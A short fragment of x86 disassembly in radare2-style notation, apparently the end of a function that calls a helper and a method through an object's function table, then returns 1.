push ecx
call fcn.00419845
add esp, 4
pop edi
pop ebp
pop ebx
mov edx, dword [esi]
mov eax, dword [edx + 0x2c]
push 0
mov ecx, esi
call eax
mov eax, 1
pop esi
add esp, 8
ret 4